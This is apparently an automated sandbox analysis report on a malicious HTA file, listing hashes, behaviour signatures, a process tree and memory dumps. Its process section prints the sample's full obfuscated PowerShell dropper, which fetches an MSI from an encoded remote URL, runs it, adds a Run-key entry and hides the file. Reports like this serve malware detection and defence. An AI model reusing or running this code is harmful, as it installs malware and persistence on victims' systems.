Analysis
- max time kernel
148s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
05/07/2026, 00:16
General
- Target es.hta
- Size 21KB
- Sample260705-akt3faft3z
- SHA256 8bf7d79425114140c858c24114586ac08a9688e4f23b32e95533c97c89b99643
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Start PowerShell.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\es.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;2⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4824-0-0x0000000072262000-0x0000000072263000-memory.dmp
memory/4824-1-0x0000000004E80000-0x0000000004EB6000-memory.dmp
memory/4824-2-0x0000000072250000-0x0000000072A0C000-memory.dmp
memory/4824-4-0x0000000072250000-0x0000000072A0C000-memory.dmp
memory/4824-3-0x0000000005620000-0x0000000005C6A000-memory.dmp
memory/4824-5-0x0000000005590000-0x00000000055B2000-memory.dmp
memory/4824-7-0x0000000005E40000-0x0000000005EA6000-memory.dmp
memory/4824-6-0x0000000005D20000-0x0000000005D86000-memory.dmp
memory/4824-10-0x0000000005EB0000-0x000000000620B000-memory.dmp
memory/4824-11-0x0000000006370000-0x000000000638E000-memory.dmp
memory/4824-12-0x00000000063A0000-0x00000000063EC000-memory.dmp
memory/4824-13-0x0000000007BC0000-0x000000000823C000-memory.dmp
memory/4824-14-0x0000000006930000-0x000000000694A000-memory.dmp
memory/4824-15-0x00000000078D0000-0x0000000007966000-memory.dmp
memory/4824-16-0x0000000007860000-0x0000000007882000-memory.dmp
memory/4824-17-0x0000000008800000-0x0000000008DBA000-memory.dmp
memory/4824-19-0x0000000072250000-0x0000000072A0C000-memory.dmp